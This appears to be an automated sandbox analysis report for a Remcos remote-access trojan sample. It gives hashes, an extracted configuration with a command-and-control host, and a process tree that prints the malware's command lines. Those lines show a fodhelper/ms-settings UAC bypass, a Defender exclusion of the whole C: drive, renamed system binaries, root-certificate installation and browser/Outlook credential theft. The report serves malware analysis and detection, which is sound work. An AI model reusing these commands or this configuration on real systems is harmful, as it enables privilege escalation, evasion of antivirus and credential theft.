Analysis
-
max time kernel
149s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
25-07-2024 08:07
Static task
static1
Behavioral task
behavioral1
Sample
MalwareBazaar.exe
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
MalwareBazaar.exe
Resource
win10v2004-20240709-en
General
-
Target
MalwareBazaar.exe
-
Size
1.0MB
-
MD5
c9849a6295f2527f02fd7b9a0664d401
-
SHA1
9db9709ad5446150bff3c3a4d193979753904866
-
SHA256
52a6184f61de86b9bfe6abf00bbcf297a308bd91effb754d3bf16fd132384071
-
SHA512
0f330d7bc780dbb1b9ef2bc92e018c29523aca29fda9e3f3f785e4c8f6fc06181e0e4c5bb5ad59f7a34409affa606d9d19c4f13981e8097c95778beef6cbd3ea
-
SSDEEP
24576:E6Dlm/atGKanKxvdwEHfZTX0u/nJaRj9yin1mV/aJscLc:DDcCZfx+GQRjj1mj
Malware Config
Extracted
remcos
RemoteHost
127.0.0.1:52121
officerem.duckdns.org:52121
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
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hide_keylog_file
false
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install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
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keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-UNX1LL
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
Processes:
resource yara_rule behavioral2/memory/1532-101-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/2676-103-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft behavioral2/memory/2680-100-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
Processes:
resource yara_rule behavioral2/memory/2676-103-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
Processes:
resource yara_rule behavioral2/memory/2680-100-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
ngtepnyT.pifper.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation ngtepnyT.pif Key value queried \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Control Panel\International\Geo\Nation per.exe -
Executes dropped EXE 20 IoCs
Processes:
ngtepnyT.pifalpha.exealpha.exealpha.exealpha.exealpha.exealpha.exexkn.exealpha.exeger.exeper.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exealpha.exepid process 2980 ngtepnyT.pif 2076 alpha.exe 1432 alpha.exe 3840 alpha.exe 4704 alpha.exe 3300 alpha.exe 636 alpha.exe 4036 xkn.exe 2468 alpha.exe 3476 ger.exe 324 per.exe 2348 alpha.exe 3868 alpha.exe 1196 alpha.exe 2340 alpha.exe 1184 alpha.exe 2172 alpha.exe 4288 alpha.exe 3508 alpha.exe 3960 alpha.exe -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
SndVol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts SndVol.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
MalwareBazaar.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tynpetgn = "C:\\Users\\Public\\Tynpetgn.url" MalwareBazaar.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
MalwareBazaar.exeSndVol.exedescription pid process target process PID 4536 set thread context of 2980 4536 MalwareBazaar.exe ngtepnyT.pif PID 1884 set thread context of 2680 1884 SndVol.exe SndVol.exe PID 1884 set thread context of 2676 1884 SndVol.exe SndVol.exe PID 1884 set thread context of 1532 1884 SndVol.exe SndVol.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 7 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
ngtepnyT.pifextrac32.exeSndVol.exeSndVol.exeSndVol.exeSndVol.exeMalwareBazaar.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language ngtepnyT.pif Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language extrac32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SndVol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SndVol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SndVol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language SndVol.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MalwareBazaar.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
Processes:
alpha.exePING.EXEpid process 3868 alpha.exe 4832 PING.EXE -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 3652 taskkill.exe -
Modifies registry class 5 IoCs
Processes:
ger.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\ms-settings ger.exe Key created \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\ms-settings\shell ger.exe Key created \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\ms-settings\shell\open ger.exe Set value (str) \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" ger.exe Key created \REGISTRY\USER\S-1-5-21-701583114-2636601053-947405450-1000_Classes\ms-settings\shell\open\command ger.exe -
Processes:
xkn.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 xkn.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e xkn.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef453000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e xkn.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 22 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 11 IoCs
Processes:
xkn.exeMalwareBazaar.exeSndVol.exeSndVol.exepid process 4036 xkn.exe 4036 xkn.exe 4036 xkn.exe 4536 MalwareBazaar.exe 4536 MalwareBazaar.exe 2680 SndVol.exe 2680 SndVol.exe 1532 SndVol.exe 1532 SndVol.exe 2680 SndVol.exe 2680 SndVol.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
SndVol.exepid process 1884 SndVol.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
Processes:
SndVol.exepid process 1884 SndVol.exe 1884 SndVol.exe 1884 SndVol.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
xkn.exetaskkill.exeSndVol.exedescription pid process Token: SeDebugPrivilege 4036 xkn.exe Token: SeDebugPrivilege 3652 taskkill.exe Token: SeDebugPrivilege 1532 SndVol.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
SndVol.exepid process 1884 SndVol.exe -
Suspicious use of SendNotifyMessage 2 IoCs
Processes:
SndVol.exepid process 1884 SndVol.exe 1884 SndVol.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
MalwareBazaar.exengtepnyT.pifcmd.exealpha.exealpha.exealpha.exealpha.exexkn.exealpha.exealpha.exealpha.exedescription pid process target process PID 4536 wrote to memory of 2980 4536 MalwareBazaar.exe ngtepnyT.pif PID 4536 wrote to memory of 2980 4536 MalwareBazaar.exe ngtepnyT.pif PID 4536 wrote to memory of 2980 4536 MalwareBazaar.exe ngtepnyT.pif PID 4536 wrote to memory of 2980 4536 MalwareBazaar.exe ngtepnyT.pif PID 4536 wrote to memory of 2980 4536 MalwareBazaar.exe ngtepnyT.pif PID 2980 wrote to memory of 1768 2980 ngtepnyT.pif cmd.exe PID 2980 wrote to memory of 1768 2980 ngtepnyT.pif cmd.exe PID 1768 wrote to memory of 4244 1768 cmd.exe extrac32.exe PID 1768 wrote to memory of 4244 1768 cmd.exe extrac32.exe PID 1768 wrote to memory of 2076 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 2076 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 1432 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 1432 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 3840 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 3840 1768 cmd.exe alpha.exe PID 3840 wrote to memory of 4476 3840 alpha.exe extrac32.exe PID 3840 wrote to memory of 4476 3840 alpha.exe extrac32.exe PID 1768 wrote to memory of 4704 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 4704 1768 cmd.exe alpha.exe PID 4704 wrote to memory of 1196 4704 alpha.exe extrac32.exe PID 4704 wrote to memory of 1196 4704 alpha.exe extrac32.exe PID 1768 wrote to memory of 3300 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 3300 1768 cmd.exe alpha.exe PID 3300 wrote to memory of 3916 3300 alpha.exe extrac32.exe PID 3300 wrote to memory of 3916 3300 alpha.exe extrac32.exe PID 1768 wrote to memory of 636 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 636 1768 cmd.exe alpha.exe PID 636 wrote to memory of 4036 636 alpha.exe xkn.exe PID 636 wrote to memory of 4036 636 alpha.exe xkn.exe PID 4036 wrote to memory of 2468 4036 xkn.exe alpha.exe PID 4036 wrote to memory of 2468 4036 xkn.exe alpha.exe PID 2468 wrote to memory of 3476 2468 alpha.exe ger.exe PID 2468 wrote to memory of 3476 2468 alpha.exe ger.exe PID 1768 wrote to memory of 324 1768 cmd.exe per.exe PID 1768 wrote to memory of 324 1768 cmd.exe per.exe PID 1768 wrote to memory of 2348 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 2348 1768 cmd.exe alpha.exe PID 2348 wrote to memory of 3652 2348 alpha.exe taskkill.exe PID 2348 wrote to memory of 3652 2348 alpha.exe taskkill.exe PID 1768 wrote to memory of 3868 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 3868 1768 cmd.exe alpha.exe PID 3868 wrote to memory of 4832 3868 alpha.exe PING.EXE PID 3868 wrote to memory of 4832 3868 alpha.exe PING.EXE PID 4536 wrote to memory of 2224 4536 MalwareBazaar.exe extrac32.exe PID 4536 wrote to memory of 2224 4536 MalwareBazaar.exe extrac32.exe PID 4536 wrote to memory of 2224 4536 MalwareBazaar.exe extrac32.exe PID 4536 wrote to memory of 1884 4536 MalwareBazaar.exe SndVol.exe PID 4536 wrote to memory of 1884 4536 MalwareBazaar.exe SndVol.exe PID 4536 wrote to memory of 1884 4536 MalwareBazaar.exe SndVol.exe PID 4536 wrote to memory of 1884 4536 MalwareBazaar.exe SndVol.exe PID 1768 wrote to memory of 1196 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 1196 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 2340 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 2340 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 1184 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 1184 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 2172 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 2172 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 4288 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 4288 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 3508 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 3508 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 3960 1768 cmd.exe alpha.exe PID 1768 wrote to memory of 3960 1768 cmd.exe alpha.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4536 -
C:\Users\Public\Libraries\ngtepnyT.pifC:\Users\Public\Libraries\ngtepnyT.pif2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\DE5A.tmp\DE99.tmp\DE9A.bat C:\Users\Public\Libraries\ngtepnyT.pif"3⤵
- Suspicious use of WriteProcessMemory
PID:1768 -
C:\Windows\System32\extrac32.exeC:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"4⤵PID:4244
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "4⤵
- Executes dropped EXE
PID:2076 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"4⤵
- Executes dropped EXE
PID:1432 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3840 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"5⤵PID:4476
-
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4704 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"5⤵PID:1196
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3300 -
C:\Windows\system32\extrac32.exeextrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"5⤵PID:3916
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C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:636 -
C:\Users\Public\xkn.exeC:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4036 -
C:\Users\Public\alpha.exe"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2468 -
C:\Users\Public\ger.exeC:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""7⤵
- Executes dropped EXE
- Modifies registry class
PID:3476 -
C:\Windows \System32\per.exe"C:\\Windows \\System32\\per.exe"4⤵
- Checks computer location settings
- Executes dropped EXE
PID:324 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2348 -
C:\Windows\system32\taskkill.exetaskkill /F /IM SystemSettings.exe5⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3652 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 24⤵
- Executes dropped EXE
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:3868 -
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
PID:4832 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"4⤵
- Executes dropped EXE
PID:1196 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"4⤵
- Executes dropped EXE
PID:2340 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c rmdir "C:\Windows \"4⤵
- Executes dropped EXE
PID:1184 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S4⤵
- Executes dropped EXE
PID:2172 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S4⤵
- Executes dropped EXE
PID:4288 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S4⤵
- Executes dropped EXE
PID:3508 -
C:\Users\Public\alpha.exeC:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S4⤵
- Executes dropped EXE
PID:3960 -
C:\Windows\SysWOW64\extrac32.exeC:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\MalwareBazaar.exe C:\\Users\\Public\\Libraries\\Tynpetgn.PIF2⤵
- System Location Discovery: System Language Discovery
PID:2224 -
C:\Windows\SysWOW64\SndVol.exeC:\Windows\System32\SndVol.exe2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1884 -
C:\Windows\SysWOW64\SndVol.exeC:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\tyuuaaerwlvnymzwodovexkfuqpyn"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
PID:2680 -
C:\Windows\SysWOW64\SndVol.exeC:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\wshnttpkktnsitnaxobwpcwodwzhgcvk"3⤵
- Accesses Microsoft Outlook accounts
- System Location Discovery: System Language Discovery
PID:2676 -
C:\Windows\SysWOW64\SndVol.exeC:\Windows\SysWOW64\SndVol.exe /stext "C:\Users\Admin\AppData\Local\Temp\gunfu"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1532
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C:\Windows\system32\SystemSettingsAdminFlows.exe"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper1⤵PID:4428
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Defense Evasion
Modify Registry
2Subvert Trust Controls
1Install Root Certificate
1Replay Monitor
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Downloads
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Filesize
222B
MD5643bddb1abc4f7e06511a3722cd9362c
SHA1171415173474513e999e94b21bc3482ec67c4bdf
SHA256393bde29bf419fb4d155c0b9f436d54c44b6c157b45839b03ab009ffc20a4a7b
SHA512c54640c75dd414bca259cd666e23f125b084a185ffe60720c82c37264801ad65d33dbd5b4cc70fde8c6719e382399b448793a1abfebd1fa51fc6caf8900ccd79
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Filesize
1KB
MD5e62f427202d3e5a3ba60ebe78567918c
SHA16ef0cd5ba6c871815fceb27ff095a7931452b334
SHA25606bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff
SHA512e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
4KB
MD571e3611290752b1a114e303d84e3987f
SHA1210794023f369235615743c802fce5055961ee6e
SHA2565163d0e849d5d39f1e8beb9d13beea8240d532dff6f28433522148628007af06
SHA512d0235dd58f9038009e44c4847535f2bb652f093418fdfd890c01b4b9d8981df3a31e4a89f9099c226becbfe8541015d60f6b852165241d08cb8795d93dd2eb09
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Filesize
66KB
MD5c116d3604ceafe7057d77ff27552c215
SHA1452b14432fb5758b46f2897aeccd89f7c82a727d
SHA2567bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301
SHA5129202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6
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Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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Filesize
75KB
MD5227f63e1d9008b36bdbcc4b397780be4
SHA1c0db341defa8ef40c03ed769a9001d600e0f4dae
SHA256c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d
